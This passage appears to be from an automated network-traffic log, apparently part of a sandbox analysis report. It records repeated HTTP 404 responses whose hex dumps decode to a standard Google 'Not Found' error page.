Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:28 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:29 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:30 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:33 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:34 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:35 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:38 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 